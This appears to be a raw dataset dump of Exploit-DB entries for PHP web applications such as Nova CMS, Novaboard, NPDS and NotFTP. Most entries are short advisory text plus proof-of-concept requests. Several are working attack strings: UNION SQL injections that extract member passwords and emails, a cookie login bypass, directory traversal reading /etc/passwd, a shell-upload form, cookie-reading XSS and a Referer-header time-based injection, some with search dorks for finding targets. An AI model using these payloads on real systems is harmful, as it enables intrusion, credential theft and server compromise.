deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26277
Description: NooToplist 1.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-09-19
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/14873/info

NooToplist is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?o='[SQL INJECTION]
http://www.example.com/index.php?sort='[SQL INJECTION]
Exploit-DB #32246
Description: Nortel Networks SRG V16 - 'admin_modules.php?module' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30687/info
 
Navboard is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability.
 
An attacker can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. Exploits of the cross-site scripting issue may allow the attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Navboard 16 is vulnerable; other versions may also be affected.

http://www.example.com/path/admin_modules.php?module=[LFI]
Exploit-DB #32245
Description: Nortel Networks SRG V16 - 'modules.php?module' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-13
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30687/info

Navboard is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. Exploits of the cross-site scripting issue may allow the attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Navboard 16 is vulnerable; other versions may also be affected.

http://www.example.com/path/modules.php?module=[XSS]
Exploit-DB #32247
Description: Nortel Networks SRG V16 - 'modules.php?module' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30687/info
  
Navboard is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability.
  
An attacker can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. Exploits of the cross-site scripting issue may allow the attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Navboard 16 is vulnerable; other versions may also be affected.

http://www.example.com/path/modules.php?module=[LFI]
Exploit-DB #8504
Description: NotFTP 1.3.1 - 'newlang' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-21
Author: Kacper

Exploit:
NotFTP 1.3.1 => Local file include
http://sourceforge.net/projects/notftp/


Author: Kacper
Email: kacper1964@yahoo.pl
Home: http://devilteam.pl/

DC++ Hub address: bluber-hub.no-ip.biz:2008

Vuln:

File config.php:

#########################################################################
# This is where we decide what language to use. Don't mess with this
# either.
#########################################################################

if (isset($newlang))
{
   require_once("lib/lang/".$languages[$newlang]["file"]);
}
elseif (isset($_COOKIE["notftplang"]))
{
   require_once("lib/lang/".$languages[$_COOKIE["notftplang"]]["file"]);
}
else
{
   require_once("lib/lang/".$languages[DEFAULTLANG]["file"]);
}

# NotFTP version. Changing this would be silly. So don't.

PoC:

http://site.pl/path/config.php?newlang=kacper&languages[kacper][file]=../../../../../etc/passwd

The End

========= 

# milw0rm.com [2009-04-21]
Exploit-DB #31902
Description: Noticia Portal - 'detalle_noticia.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-10
Author: t@nzo0n

Exploit:
source: https://www.securityfocus.com/bid/29655/info

Noticia Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/detalle_noticia.php?id_noticia=[SQL]
Exploit-DB #11832
Description: NotSopureEdit 1.4.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-03-21
Author: cr4wl3r

Exploit:
========================================================
NotSopureEdit <= 1.4.1 Remote File Include Vulnerability
========================================================


[+] NotSopureEdit <= 1.4.1 Remote File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11393
[+] Download : http://code.google.com/p/notsopureedit/downloads/list

[+] Code [template.php]: <?php include($content); ?>

[+] PoC: [path]/templates/template.php?content=[Shell]

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22]
Exploit-DB #36696
Description: Nova CMS - '/administrator/modules/moduleslist.php?id' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51976/info

Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. 

http://www.example.com/novacms/administrator/modules/moduleslist.php?id=[EV!L]
Exploit-DB #36698
Description: Nova CMS - '/includes/function/gets.php?Filename' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51976/info
  
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
  
http://www.example.com/novacms/includes/function/gets.php?filename=[EV!L]
Exploit-DB #36699
Description: Nova CMS - '/includes/function/usertpl.php?conf[blockfile]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51976/info
   
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
   
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
   
http://www.example.com/novacms/includes/function/usertpl.php?conf[blockfile]=[EV!L]
Exploit-DB #36697
Description: Nova CMS - '/optimizer/index.php?fileType' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51976/info
 
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
 
http://www.example.com/novacms/optimizer/index.php?fileType=[EV!L]
Exploit-DB #18403
Description: Nova CMS - Directory Traversal
Type: webapps
Platform: php
Date: 2012-01-21
Author: Red Security TEAM

Exploit:
# 
# Title     : Nova CMS Directory Travel
# Author    : Red Security TEAM
# Date      : 21/01/2012
# Download  : http://www.nova-cms.com/uploads/files/novacms.zip
# Tested On : CentOS
# Dork      : Copyright ©2005-2011 by Nova CMS.
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# 
# 1. Register
# 2. Go to forum and click on "NEW TOPIC"
# 3. In the above tab in editor click on last picture "Attach File"
# 4. Start Live HTTP headers
# 5. Add a new allowed file
# 6. Find dir=uploads%2Fforum%2Fdata-YourUsername2F&options=true&ajax=true and click on Reply on Live HTTP headers
# 7. Change to dir=uploads%2F , dir=uploads%2Fbackup%2F
# 8. You can't back to directory before uploads directory but you can see all directory in uploads example another users files and uploads/backup/ ;):D
#
Exploit-DB #32835
Description: Novaboard 1.0 - HTML Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-03
Author: Jose Luis Zayas

Exploit:
source: https://www.securityfocus.com/bid/33968/info

NovaBoard is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

NovaBoard 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=search&search=%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&author_id=&author=&startdate=&enddate=&pf=1&topic=
Exploit-DB #8063
Description: Novaboard 1.0.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-02-16
Author: brain[pillow]

Exploit:
===============================================================================================

Found : brain[pillow]
Dork  : "Powered by NovaBoard v1.0.0"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : brainpillow@gmail.com

===============================================================================================

-- [ blind sql-inj ]: 

/index.php?page=search&search=xe&author_id=&author=&startdate=&enddate=&forums%5B%5D=&pf=1&topic=1'+union+select+1,2,3,4,5,6,7,8,9+from+novaboard_posts+where+1='2

Need: magic quotes = off

===============================================================================================

-- [ standart sql-inj ]:

/index.php?forum=2'+union+select+1,2,concat_ws('%20|%20',name,password,pass_salt,email)+from+novaboard_members+where+1='1

Need: magic quotes = off
Note: $password= md5($password . $pass_salt);

===============================================================================================

-- [ sql-inj in auth ]:

COOKIES: nova_name=admin'#; nova_[CREDENTIAL_REDACTED]

Need:   magic quotes = off

===============================================================================================

-- [ local include ]:

/uploads/upload.php
Cookie: nova_lang=../index.php%00

Need:   1) no cookie "nova_name" in your browser.
        2) magic quotes = off

===============================================================================================

-- [ shell upload ]:

<form enctype='multipart/form-data' method='post' 

action='http://localhost/_BOARD_PATH_/uploads/uploader.php'>
<input type='hidden' name='MAX_FILE_SIZE' value='[PII_REDACTED]0' />
<input type='hidden' name='topicid' value='' />
<input type='hidden' name='member' value='' />
<input type='hidden' name='attachtype' value='' />
<input type='hidden' name='hash' value='31337' />
<input type='hidden' name='attachtype' value='attachments' />
<input type='file' name='uploadedfile'>
<input type='submit' value='Upload' />
</form>

Note: Must upload file "shell.php.anything.rar" and then have fun here: 

http://localhost/_BOARD_PATH_/uploads/attachments/31337shell.php.anything.rar

Need: attachments allowed

===============================================================================================

# milw0rm.com [2009-02-16]
Exploit-DB #8150
Description: Novaboard 1.0.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-03
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NovaBoard <= 1.0.1 / XSS Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: NovaBoard
$ Version: <= 1.0.1
$ File affected: index.php
$ Download: http://www.novaboard.net/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


-- About the program (by the author's page) --

NovaBoard is a free, feature rich community message board software written in
PHP & MySQL that allows you to set up your own forum within minutes.
With a smart modules feature and the ease of creating your own themes you can
style and manipulate your board to look and perform how you want.
NovaBoard makes running a message board a breeze!


-- Bug --

You can inject JS.


-- Exploit --

Persistent XSS:
You can write a message to another user of the forum and inject XSS code:

Message subject:
Message recipient:
Message:
<script>alert(document.cookie)</script>

you can also send the user cookie to another site

Non-persistent XSS:
http://site.com/index.php?page=search&search=%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&author_id=&author=&startdate=&enddate=&pf=1&topic=

Response:

If you are an authenticated user you'll see something like this:

PHPSESSID=241092c53c1379df01b743d910f61c62; nova_name=Member;
nova_[CREDENTIAL_REDACTED]

Username and password are stored in the cookie.


If you are not authenticated:

PHPSESSID=241092c53c1379df01b743d910f61c62

# milw0rm.com [2009-03-03]
Exploit-DB #11278
Description: Novaboard 1.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-28
Author: Delibey

Exploit:
############################################################# 
# NovaBoard v1.1.2 SQL Injection Vulnerability 
  
# Plugin Home: http://www.novaboard.net/ 
  
# Author: Delibey 
  
# Site: www.1923turk.com 
 
############################################################## 
  
  
# Download   Script  : http://novaboard.googlecode.com/files/NovaBoard1.1.2.zip
                                    
  
   
# Exploit: index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[1923Turk]=[SQL-inj] 
  
  
#  1)+union+select+1,2,3,4,concat_ws(0x0A,name,password,email),6,7,8,9+from+novaboard_members+--+
             
#  Dork  : "Powered by NovaBoard v1.1.2"           
  
# Demo: http://server/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[1923Turk]=1)+union+select+1,2,3,4,concat_ws(0x0A,name,password,email),6,7,8,9+from+novaboard_members+--+
  
   
############################################################## 
# Greetz: Manas58 - Baybora - Gamoscu - Tiamo - Psiko - Turco - infazci - X-TRO 
##############################################################
Exploit-DB #15324
Description: Novaboard 1.1.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22657
Reference: http://www.htbridge.ch/advisory/lfi_in_novaboard.html
Product: Novaboard 
Vendor: Novaboard  ( http://www.novaboard.net/ ) 
Vulnerable Version: 1.1.4 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: Local File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nova_lang variable from cookie.

The following PoC is available:


Cookie: nova_lang=../../../../../../../../../../../../../../etc/passwd/././././.[>4095 * "/."]/././././.
Exploit-DB #47152
Description: NoviSmart CMS - SQL injection
Type: webapps
Platform: php
Date: 2019-07-24
Author: n1x_

Exploit:
# Exploit Title: NoviSmart CMS SQL injection
# Date: 23.7.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: http://www.novismart.com/
# Version: Every version
# CVE : CWE-89

Vulnerable parameter: Referer (HTTP Header field)

[GET Request]

GET / HTTP/1.1
Referer: if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
Accept-Language: en
Via: 1.1 wa.www.test.com
Origin: http://www.test.com/
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=[PII_REDACTED]0df6ccd9002dbf5b978e9c; language=1
Host: host
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
Exploit-DB #21860
Description: NPDS 4.8 - News Message HTML Injection
Type: webapps
Platform: php
Date: 2002-09-25
Author: das@hush.com

Exploit:
source: https://www.securityfocus.com/bid/5797/info

Problems with NPDS could make it possible to execute arbitrary script code in a vulnerable client.

NPDS does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the NPDS software.

<IMG SRC="javascript:alert('unsecure')">
Exploit-DB #25745
Description: NPDS 4.8 /5.0 - 'modules.php?Lettre' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
   
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
   
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
   
All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_lettre&lettre=<script>alert()</script>
Exploit-DB #25742
Description: NPDS 4.8 < 5.0 - 'admin.php?language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info

NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.

This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/npds/admin.php?mainfile=e&language=<script>alert(document.cookie);</script>
Exploit-DB #25750
Description: NPDS 4.8 < 5.0 - 'faq.php?categories' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
        
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
        
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
        
All versions of NPDS are considered vulnerable to this issue at the moment.

http://www.example.com/faq.php?myfaq=ys&id_cat=99&categories=<script>alert()</script>
Exploit-DB #25749
Description: NPDS 4.8 < 5.0 - 'links.php?Query' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
       
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
       
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
       
All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/links.php?op=search&query=google%'%20UNION%20SELECT%200,uname,pass,0,0,0,0,0%20FROM%20users%20where%20uname<>''%20INTO%20OUTFILE%20'/var/www/html/npds/sql/s
qlinjection.txt'/*
Exploit-DB #25743
Description: NPDS 4.8 < 5.0 - 'powerpack_f.php?language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
 
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
 
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
 
All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/npds/powerpack_f.php?language=<script>alert()</script>